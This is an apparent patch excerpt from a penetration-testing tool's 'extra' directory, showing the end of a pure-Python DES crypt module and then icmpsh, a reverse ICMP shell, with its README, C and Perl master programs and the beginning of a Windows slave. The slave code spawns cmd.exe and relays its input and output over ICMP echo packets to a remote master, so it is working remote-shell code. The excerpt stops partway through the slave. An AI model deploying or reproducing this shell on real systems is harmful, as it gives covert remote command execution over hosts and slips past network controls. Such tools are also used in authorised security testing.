0x04021000, 0x04121000, 0x04021100, 0x04121100,
|
||||
0x04021008, 0x04121008, 0x04021108, 0x04121108 ],
|
||||
|
||||
# for D bits (numbered as per FIPS 46) 1 2 3 4 5 6
|
||||
[ 0x00000000, 0x10000000, 0x00010000, 0x10010000,
|
||||
0x00000004, 0x10000004, 0x00010004, 0x10010004,
|
||||
0x20000000, 0x30000000, 0x20010000, 0x30010000,
|
||||
0x20000004, 0x30000004, 0x20010004, 0x30010004,
|
||||
0x00100000, 0x10100000, 0x00110000, 0x10110000,
|
||||
0x00100004, 0x10100004, 0x00110004, 0x10110004,
|
||||
0x20100000, 0x30100000, 0x20110000, 0x30110000,
|
||||
0x20100004, 0x30100004, 0x20110004, 0x30110004,
|
||||
0x00001000, 0x10001000, 0x00011000, 0x10011000,
|
||||
0x00001004, 0x10001004, 0x00011004, 0x10011004,
|
||||
0x20001000, 0x30001000, 0x20011000, 0x30011000,
|
||||
0x20001004, 0x30001004, 0x20011004, 0x30011004,
|
||||
0x00101000, 0x10101000, 0x00111000, 0x10111000,
|
||||
0x00101004, 0x10101004, 0x00111004, 0x10111004,
|
||||
0x20101000, 0x30101000, 0x20111000, 0x30111000,
|
||||
0x20101004, 0x30101004, 0x20111004, 0x30111004 ],
|
||||
|
||||
# for D bits (numbered as per FIPS 46) 8 9 11 12 13 14
|
||||
[ 0x00000000, 0x08000000, 0x00000008, 0x08000008,
|
||||
0x00000400, 0x08000400, 0x00000408, 0x08000408,
|
||||
0x00020000, 0x08020000, 0x00020008, 0x08020008,
|
||||
0x00020400, 0x08020400, 0x00020408, 0x08020408,
|
||||
0x00000001, 0x08000001, 0x00000009, 0x08000009,
|
||||
0x00000401, 0x08000401, 0x00000409, 0x08000409,
|
||||
0x00020001, 0x08020001, 0x00020009, 0x08020009,
|
||||
0x00020401, 0x08020401, 0x00020409, 0x08020409,
|
||||
0x02000000, 0x0A000000, 0x02000008, 0x0A000008,
|
||||
0x02000400, 0x0A000400, 0x02000408, 0x0A000408,
|
||||
0x02020000, 0x0A020000, 0x02020008, 0x0A020008,
|
||||
0x02020400, 0x0A020400, 0x02020408, 0x0A020408,
|
||||
0x02000001, 0x0A000001, 0x02000009, 0x0A000009,
|
||||
0x02000401, 0x0A000401, 0x02000409, 0x0A000409,
|
||||
0x02020001, 0x0A020001, 0x02020009, 0x0A020009,
|
||||
0x02020401, 0x0A020401, 0x02020409, 0x0A020409 ],
|
||||
|
||||
# for D bits (numbered as per FIPS 46) 16 17 18 19 20 21
|
||||
[ 0x00000000, 0x00000100, 0x00080000, 0x00080100,
|
||||
0x01000000, 0x01000100, 0x01080000, 0x01080100,
|
||||
0x00000010, 0x00000110, 0x00080010, 0x00080110,
|
||||
0x01000010, 0x01000110, 0x01080010, 0x01080110,
|
||||
0x00200000, 0x00200100, 0x00280000, 0x00280100,
|
||||
0x01200000, 0x01200100, 0x01280000, 0x01280100,
|
||||
0x00200010, 0x00200110, 0x00280010, 0x00280110,
|
||||
0x01200010, 0x01200110, 0x01280010, 0x01280110,
|
||||
0x00000200, 0x00000300, 0x00080200, 0x00080300,
|
||||
0x01000200, 0x01000300, 0x01080200, 0x01080300,
|
||||
0x00000210, 0x00000310, 0x00080210, 0x00080310,
|
||||
0x01000210, 0x01000310, 0x01080210, 0x01080310,
|
||||
0x00200200, 0x00200300, 0x00280200, 0x00280300,
|
||||
0x01200200, 0x01200300, 0x01280200, 0x01280300,
|
||||
0x00200210, 0x00200310, 0x00280210, 0x00280310,
|
||||
0x01200210, 0x01200310, 0x01280210, 0x01280310 ],
|
||||
|
||||
# for D bits (numbered as per FIPS 46) 22 23 24 25 27 28
|
||||
[ 0x00000000, 0x04000000, 0x00040000, 0x04040000,
|
||||
0x00000002, 0x04000002, 0x00040002, 0x04040002,
|
||||
0x00002000, 0x04002000, 0x00042000, 0x04042000,
|
||||
0x00002002, 0x04002002, 0x00042002, 0x04042002,
|
||||
0x00000020, 0x04000020, 0x00040020, 0x04040020,
|
||||
0x00000022, 0x04000022, 0x00040022, 0x04040022,
|
||||
0x00002020, 0x04002020, 0x00042020, 0x04042020,
|
||||
0x00002022, 0x04002022, 0x00042022, 0x04042022,
|
||||
0x00000800, 0x04000800, 0x00040800, 0x04040800,
|
||||
0x00000802, 0x04000802, 0x00040802, 0x04040802,
|
||||
0x00002800, 0x04002800, 0x00042800, 0x04042800,
|
||||
0x00002802, 0x04002802, 0x00042802, 0x04042802,
|
||||
0x00000820, 0x04000820, 0x00040820, 0x04040820,
|
||||
0x00000822, 0x04000822, 0x00040822, 0x04040822,
|
||||
0x00002820, 0x04002820, 0x00042820, 0x04042820,
|
||||
0x00002822, 0x04002822, 0x00042822, 0x04042822 ] )
|
||||
|
||||
_shifts2 = (0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0)
|
||||
|
||||
_con_salt = [
|
||||
0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,
|
||||
0xDA,0xDB,0xDC,0xDD,0xDE,0xDF,0xE0,0xE1,
|
||||
0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,
|
||||
0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,
|
||||
0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,
|
||||
0xFA,0xFB,0xFC,0xFD,0xFE,0xFF,0x00,0x01,
|
||||
0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,
|
||||
0x0A,0x0B,0x05,0x06,0x07,0x08,0x09,0x0A,
|
||||
0x0B,0x0C,0x0D,0x0E,0x0F,0x10,0x11,0x12,
|
||||
0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1A,
|
||||
0x1B,0x1C,0x1D,0x1E,0x1F,0x20,0x21,0x22,
|
||||
0x23,0x24,0x25,0x20,0x21,0x22,0x23,0x24,
|
||||
0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C,
|
||||
0x2D,0x2E,0x2F,0x30,0x31,0x32,0x33,0x34,
|
||||
0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,
|
||||
0x3D,0x3E,0x3F,0x40,0x41,0x42,0x43,0x44 ]
|
||||
|
||||
_cov_2char = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
|
||||
|
||||
|
||||
def _HPERM_OP(a):
|
||||
"""Clever bit manipulation."""
|
||||
t = ((a << 18) ^ a) & 0xcccc0000
|
||||
return a ^ t ^ ((t >> 18) & 0x3fff)
|
||||
|
||||
def _PERM_OP(a,b,n,m):
|
||||
"""Cleverer bit manipulation."""
|
||||
t = ((a >> n) ^ b) & m
|
||||
b = b ^ t
|
||||
a = a ^ (t << n)
|
||||
return a,b
|
||||
|
||||
|
||||
def _set_key(password):
|
||||
"""Generate DES key schedule from ASCII password."""
|
||||
|
||||
c,d = struct.unpack('<ii', password)
|
||||
c = (c & 0x7f7f7f7f) << 1
|
||||
d = (d & 0x7f7f7f7f) << 1
|
||||
|
||||
d,c = _PERM_OP(d,c,4,0x0f0f0f0f)
|
||||
c = _HPERM_OP(c)
|
||||
d = _HPERM_OP(d)
|
||||
d,c = _PERM_OP(d,c,1,0x55555555)
|
||||
c,d = _PERM_OP(c,d,8,0x00ff00ff)
|
||||
d,c = _PERM_OP(d,c,1,0x55555555)
|
||||
|
||||
# Any sign-extended bits are masked off.
|
||||
d = (((d & 0x000000ff) << 16) | (d & 0x0000ff00) |
|
||||
((d & 0x00ff0000) >> 16) | ((c >> 4) & 0x0f000000))
|
||||
c = c & 0x0fffffff
|
||||
|
||||
# Copy globals into local variables for loop.
|
||||
shifts2 = _shifts2
|
||||
skbc0, skbc1, skbc2, skbc3, skbd0, skbd1, skbd2, skbd3 = _skb
|
||||
|
||||
k = [0] * (_ITERATIONS * 2)
|
||||
|
||||
for i in range(_ITERATIONS):
|
||||
# Only operates on top 28 bits.
|
||||
if shifts2[i]:
|
||||
c = (c >> 2) | (c << 26)
|
||||
d = (d >> 2) | (d << 26)
|
||||
else:
|
||||
c = (c >> 1) | (c << 27)
|
||||
d = (d >> 1) | (d << 27)
|
||||
c = c & 0x0fffffff
|
||||
d = d & 0x0fffffff
|
||||
|
||||
s = ( skbc0[ c & 0x3f ] |
|
||||
skbc1[((c>> 6) & 0x03) | ((c>> 7) & 0x3c)] |
|
||||
skbc2[((c>>13) & 0x0f) | ((c>>14) & 0x30)] |
|
||||
skbc3[((c>>20) & 0x01) |
|
||||
((c>>21) & 0x06) | ((c>>22) & 0x38)] )
|
||||
|
||||
t = ( skbd0[ d & 0x3f ] |
|
||||
skbd1[((d>> 7) & 0x03) | ((d>> 8) & 0x3c)] |
|
||||
skbd2[((d>>15) & 0x3f) ] |
|
||||
skbd3[((d>>21) & 0x0f) | ((d>>22) & 0x30)] )
|
||||
|
||||
k[2*i] = ((t << 16) | (s & 0x0000ffff)) & 0xffffffff
|
||||
s = (s >> 16) | (t & 0xffff0000)
|
||||
|
||||
# Top bit of s may be 1.
|
||||
s = (s << 4) | ((s >> 28) & 0x0f)
|
||||
k[2*i + 1] = s & 0xffffffff
|
||||
|
||||
return k
|
||||
|
||||
|
||||
def _body(ks, E0, E1):
|
||||
"""Use the key schedule ks and salt E0, E1 to create the password hash."""
|
||||
|
||||
# Copy global variable into locals for loop.
|
||||
SP0, SP1, SP2, SP3, SP4, SP5, SP6, SP7 = _SPtrans
|
||||
|
||||
inner = range(0, _ITERATIONS*2, 2)
|
||||
l = r = 0
|
||||
for j in range(25):
|
||||
l,r = r,l
|
||||
for i in inner:
|
||||
t = r ^ ((r >> 16) & 0xffff)
|
||||
u = t & E0
|
||||
t = t & E1
|
||||
u = u ^ (u << 16) ^ r ^ ks[i]
|
||||
t = t ^ (t << 16) ^ r ^ ks[i+1]
|
||||
t = ((t >> 4) & 0x0fffffff) | (t << 28)
|
||||
|
||||
l,r = r,(SP1[(t ) & 0x3f] ^ SP3[(t>> 8) & 0x3f] ^
|
||||
SP5[(t>>16) & 0x3f] ^ SP7[(t>>24) & 0x3f] ^
|
||||
SP0[(u ) & 0x3f] ^ SP2[(u>> 8) & 0x3f] ^
|
||||
SP4[(u>>16) & 0x3f] ^ SP6[(u>>24) & 0x3f] ^ l)
|
||||
|
||||
l = ((l >> 1) & 0x7fffffff) | ((l & 0x1) << 31)
|
||||
r = ((r >> 1) & 0x7fffffff) | ((r & 0x1) << 31)
|
||||
|
||||
r,l = _PERM_OP(r, l, 1, 0x55555555)
|
||||
l,r = _PERM_OP(l, r, 8, 0x00ff00ff)
|
||||
r,l = _PERM_OP(r, l, 2, 0x33333333)
|
||||
l,r = _PERM_OP(l, r, 16, 0x0000ffff)
|
||||
r,l = _PERM_OP(r, l, 4, 0x0f0f0f0f)
|
||||
|
||||
return l,r
|
||||
|
||||
|
||||
def crypt(password, salt):
|
||||
"""Generate an encrypted hash from the passed password. If the password
|
||||
is longer than eight characters, only the first eight will be used.
|
||||
|
||||
The first two characters of the salt are used to modify the encryption
|
||||
algorithm used to generate in the hash in one of 4096 different ways.
|
||||
The characters for the salt should be upper- and lower-case letters A
|
||||
to Z, digits 0 to 9, '.' and '/'.
|
||||
|
||||
The returned hash begins with the two characters of the salt, and
|
||||
should be passed as the salt to verify the password.
|
||||
|
||||
Example:
|
||||
|
||||
>>> from fcrypt import crypt
|
||||
>>> password = 'AlOtBsOl'
|
||||
>>> salt = 'cE'
|
||||
>>> hash = crypt(password, salt)
|
||||
>>> hash
|
||||
'cEpWz5IUCShqM'
|
||||
>>> crypt(password, hash) == hash
|
||||
1
|
||||
>>> crypt('IaLaIoK', hash) == hash
|
||||
0
|
||||
|
||||
In practice, you would read the password using something like the
|
||||
getpass module, and generate the salt randomly:
|
||||
|
||||
>>> import random, string
|
||||
>>> saltchars = string.letters + string.digits + './'
|
||||
>>> salt = random.choice(saltchars) + random.choice(saltchars)
|
||||
|
||||
Note that other ASCII characters are accepted in the salt, but the
|
||||
results may not be the same as other versions of crypt. In
|
||||
particular, '_', '$1' and '$2' do not select alternative hash
|
||||
algorithms such as the extended passwords, MD5 crypt and Blowfish
|
||||
crypt supported by the OpenBSD C library.
|
||||
"""
|
||||
|
||||
# Extract the salt.
|
||||
if len(salt) == 0:
|
||||
salt = 'AA'
|
||||
elif len(salt) == 1:
|
||||
salt = salt + 'A'
|
||||
Eswap0 = _con_salt[ord(salt[0]) & 0x7f]
|
||||
Eswap1 = _con_salt[ord(salt[1]) & 0x7f] << 4
|
||||
|
||||
# Generate the key and use it to apply the encryption.
|
||||
ks = _set_key((password + '\0\0\0\0\0\0\0\0')[:8])
|
||||
o1, o2 = _body(ks, Eswap0, Eswap1)
|
||||
|
||||
# Extract 24-bit subsets of result with bytes reversed.
|
||||
t1 = (o1 << 16 & 0xff0000) | (o1 & 0xff00) | (o1 >> 16 & 0xff)
|
||||
t2 = (o1 >> 8 & 0xff0000) | (o2 << 8 & 0xff00) | (o2 >> 8 & 0xff)
|
||||
t3 = (o2 & 0xff0000) | (o2 >> 16 & 0xff00)
|
||||
# Extract 6-bit subsets.
|
||||
r = [ t1 >> 18 & 0x3f, t1 >> 12 & 0x3f, t1 >> 6 & 0x3f, t1 & 0x3f,
|
||||
t2 >> 18 & 0x3f, t2 >> 12 & 0x3f, t2 >> 6 & 0x3f, t2 & 0x3f,
|
||||
t3 >> 18 & 0x3f, t3 >> 12 & 0x3f, t3 >> 6 & 0x3f ]
|
||||
# Convert to characters.
|
||||
for i in range(len(r)):
|
||||
r[i] = _cov_2char[r[i]]
|
||||
return salt[:2] + string.join(r, '')
|
||||
|
||||
def _test():
|
||||
"""Run doctest on fcrypt module."""
|
||||
import doctest, fcrypt
|
||||
return doctest.testmod(fcrypt)
|
||||
|
||||
if __name__ == '__main__':
|
||||
_test()
|
||||
19
extra/gprof2dot/__init__.py
Executable file
19
extra/gprof2dot/__init__.py
Executable file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2008-2009 Jose Fonseca
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
2624
extra/gprof2dot/gprof2dot.py
Executable file
2624
extra/gprof2dot/gprof2dot.py
Executable file
File diff suppressed because it is too large
Load Diff
45
extra/icmpsh/README.txt
Normal file
45
extra/icmpsh/README.txt
Normal file
@@ -0,0 +1,45 @@
|
||||
icmpsh - simple reverse ICMP shell
|
||||
|
||||
icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl.
|
||||
|
||||
|
||||
--- Running the Master ---
|
||||
|
||||
The master is straight forward to use. There are no extra libraries required for the C version.
|
||||
The Perl master however has the following dependencies:
|
||||
|
||||
* IO::Socket
|
||||
* NetPacket::IP
|
||||
* NetPacket::ICMP
|
||||
|
||||
|
||||
When running the master, don't forget to disable ICMP replies by the OS. For example:
|
||||
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive
|
||||
commands send from the master.
|
||||
|
||||
|
||||
--- Running the Slave ---
|
||||
|
||||
The slave comes with a few command line options as outlined below:
|
||||
|
||||
|
||||
-t host host ip address to send ping requests to. This option is mandatory!
|
||||
|
||||
-r send a single test icmp request containing the string "Test1234" and then quit.
|
||||
This is for testing the connection.
|
||||
|
||||
-d milliseconds delay between requests in milliseconds
|
||||
|
||||
-o milliseconds timeout of responses in milliseconds. If a response has not received in time,
|
||||
the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
|
||||
The counter is set back to 0 if a response was received.
|
||||
|
||||
-b num limit of blanks (unanswered icmp requests before quitting
|
||||
|
||||
-s bytes maximal data buffer size in bytes
|
||||
|
||||
|
||||
In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer.
|
||||
22
extra/icmpsh/__init__.py
Normal file
22
extra/icmpsh/__init__.py
Normal file
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
|
||||
# Perl by Nico Leidecker <nico@leidecker.info>)
|
||||
#
|
||||
# Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
#
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
pass
|
||||
134
extra/icmpsh/icmpsh-m.c
Normal file
134
extra/icmpsh/icmpsh-m.c
Normal file
@@ -0,0 +1,134 @@
|
||||
/*
|
||||
* icmpsh - simple icmp command shell
|
||||
* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/ip_icmp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define IN_BUF_SIZE 1024
|
||||
#define OUT_BUF_SIZE 64
|
||||
|
||||
// calculate checksum
|
||||
unsigned short checksum(unsigned short *ptr, int nbytes)
|
||||
{
|
||||
unsigned long sum;
|
||||
unsigned short oddbyte, rs;
|
||||
|
||||
sum = 0;
|
||||
while(nbytes > 1) {
|
||||
sum += *ptr++;
|
||||
nbytes -= 2;
|
||||
}
|
||||
|
||||
if(nbytes == 1) {
|
||||
oddbyte = 0;
|
||||
*((unsigned char *) &oddbyte) = *(u_char *)ptr;
|
||||
sum += oddbyte;
|
||||
}
|
||||
|
||||
sum = (sum >> 16) + (sum & 0xffff);
|
||||
sum += (sum >> 16);
|
||||
rs = ~sum;
|
||||
return rs;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int sockfd;
|
||||
int flags;
|
||||
char in_buf[IN_BUF_SIZE];
|
||||
char out_buf[OUT_BUF_SIZE];
|
||||
unsigned int out_size;
|
||||
int nbytes;
|
||||
struct iphdr *ip;
|
||||
struct icmphdr *icmp;
|
||||
char *data;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
|
||||
printf("icmpsh - master\n");
|
||||
|
||||
// create raw ICMP socket
|
||||
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
|
||||
if (sockfd == -1) {
|
||||
perror("socket");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// set stdin to non-blocking
|
||||
flags = fcntl(0, F_GETFL, 0);
|
||||
flags |= O_NONBLOCK;
|
||||
fcntl(0, F_SETFL, flags);
|
||||
|
||||
printf("running...\n");
|
||||
while(1) {
|
||||
|
||||
// read data from socket
|
||||
memset(in_buf, 0x00, IN_BUF_SIZE);
|
||||
nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
|
||||
if (nbytes > 0) {
|
||||
// get ip and icmp header and data part
|
||||
ip = (struct iphdr *) in_buf;
|
||||
if (nbytes > sizeof(struct iphdr)) {
|
||||
nbytes -= sizeof(struct iphdr);
|
||||
icmp = (struct icmphdr *) (ip + 1);
|
||||
if (nbytes > sizeof(struct icmphdr)) {
|
||||
nbytes -= sizeof(struct icmphdr);
|
||||
data = (char *) (icmp + 1);
|
||||
data[nbytes] = '\0';
|
||||
printf("%s", data);
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
// reuse headers
|
||||
icmp->type = 0;
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = ip->saddr;
|
||||
|
||||
// read data from stdin
|
||||
nbytes = read(0, out_buf, OUT_BUF_SIZE);
|
||||
if (nbytes > -1) {
|
||||
memcpy((char *) (icmp + 1), out_buf, nbytes);
|
||||
out_size = nbytes;
|
||||
} else {
|
||||
out_size = 0;
|
||||
}
|
||||
|
||||
icmp->checksum = 0x00;
|
||||
icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
|
||||
|
||||
// send reply
|
||||
nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
|
||||
if (nbytes == -1) {
|
||||
perror("sendto");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
62
extra/icmpsh/icmpsh-m.pl
Executable file
62
extra/icmpsh/icmpsh-m.pl
Executable file
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env perl
|
||||
#
|
||||
# icmpsh - simple icmp command shell
|
||||
# Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
|
||||
|
||||
use strict;
|
||||
use IO::Socket;
|
||||
use NetPacket::IP;
|
||||
use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);
|
||||
use Net::RawIP;
|
||||
use Fcntl;
|
||||
|
||||
print "icmpsh - master\n";
|
||||
|
||||
# create raw socket
|
||||
my $sock = IO::Socket::INET->new(
|
||||
Proto => "ICMP",
|
||||
Type => SOCK_RAW,
|
||||
Blocking => 1) or die "$!";
|
||||
|
||||
# set stdin to non-blocking
|
||||
fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";
|
||||
|
||||
print "running...\n";
|
||||
|
||||
my $input = '';
|
||||
while(1) {
|
||||
if ($sock->recv(my $buffer, 4096, 0)) {
|
||||
my $ip = NetPacket::IP->decode($buffer);
|
||||
my $icmp = NetPacket::ICMP->decode($ip->{data});
|
||||
if ($icmp->{type} == ICMP_ECHO) {
|
||||
# get identifier and sequencenumber
|
||||
my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});
|
||||
|
||||
# write data to stdout and read from stdin
|
||||
print $data;
|
||||
$input = <STDIN>;
|
||||
|
||||
# compile and send response
|
||||
$icmp->{type} = ICMP_ECHOREPLY;
|
||||
$icmp->{data} = pack("SSa*", $ident, $seq, $input);
|
||||
my $raw = $icmp->encode();
|
||||
my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));
|
||||
$sock->send($raw, 0, $addr) or die "$!\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
346
extra/icmpsh/icmpsh-s.c
Normal file
346
extra/icmpsh/icmpsh-s.c
Normal file
@@ -0,0 +1,346 @@
|
||||
/*
|
||||
* icmpsh - simple icmp command shell
|
||||
* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <iphlpapi.h>
|
||||
|
||||
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
|
||||
|
||||
#define STATUS_OK 0
|
||||
#define STATUS_SINGLE 1
|
||||
#define STATUS_PROCESS_NOT_CREATED 2
|
||||
|
||||
#define TRANSFER_SUCCESS 1
|
||||
#define TRANSFER_FAILURE 0
|
||||
|
||||
#define DEFAULT_TIMEOUT 3000
|
||||
#define DEFAULT_DELAY 200
|
||||
#define DEFAULT_MAX_BLANKS 10
|
||||
#define DEFAULT_MAX_DATA_SIZE 64
|
||||
|
||||
FARPROC icmp_create, icmp_send, to_ip;
|
||||
|
||||
int verbose = 0;
|
||||
|
||||
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
|
||||
{
|
||||
SECURITY_ATTRIBUTES sattr;
|
||||
STARTUPINFOA si;
|
||||
HANDLE in_read, out_write;
|
||||
|
||||
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
|
||||
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
|
||||
|
||||
// create communication pipes
|
||||
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
|
||||
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
sattr.bInheritHandle = TRUE;
|
||||
sattr.lpSecurityDescriptor = NULL;
|
||||
|
||||
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
|
||||
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
|
||||
// spawn process
|
||||
memset(&si, 0x00, sizeof(STARTUPINFO));
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.hStdError = out_write;
|
||||
si.hStdOutput = out_write;
|
||||
si.hStdInput = in_read;
|
||||
si.dwFlags |= STARTF_USESTDHANDLES;
|
||||
|
||||
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
|
||||
return STATUS_PROCESS_NOT_CREATED;
|
||||
}
|
||||
|
||||
CloseHandle(out_write);
|
||||
CloseHandle(in_read);
|
||||
|
||||
return STATUS_OK;
|
||||
}
|
||||
|
||||
void usage(char *path)
|
||||
{
|
||||
printf("%s [options] -t target\n", path);
|
||||
printf("options:\n");
|
||||
printf(" -t host host ip address to send ping requests to\n");
|
||||
printf(" -r send a single test icmp request and then quit\n");
|
||||
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
|
||||
printf(" -o milliseconds timeout in milliseconds\n");
|
||||
printf(" -h this screen\n");
|
||||
printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
|
||||
printf(" before quitting\n");
|
||||
printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
|
||||
printf("In order to improve the speed, lower the delay (-d) between requests or\n");
|
||||
printf("increase the size (-s) of the data buffer\n");
|
||||
}
|
||||
|
||||
void create_icmp_channel(HANDLE *icmp_chan)
|
||||
{
|
||||
// create icmp file
|
||||
*icmp_chan = (HANDLE) icmp_create();
|
||||
}
|
||||
|
||||
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
|
||||
{
|
||||
int rs;
|
||||
char *temp_in_buf;
|
||||
int nbytes;
|
||||
|
||||
PICMP_ECHO_REPLY echo_reply;
|
||||
|
||||
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
|
||||
if (!temp_in_buf) {
|
||||
return TRANSFER_FAILURE;
|
||||
}
|
||||
|
||||
// send data to remote host
|
||||
rs = icmp_send(
|
||||
icmp_chan,
|
||||
target,
|
||||
out_buf,
|
||||
out_buf_size,
|
||||
NULL,
|
||||
temp_in_buf,
|
||||
max_in_data_size + ICMP_HEADERS_SIZE,
|
||||
timeout);
|
||||
|
||||
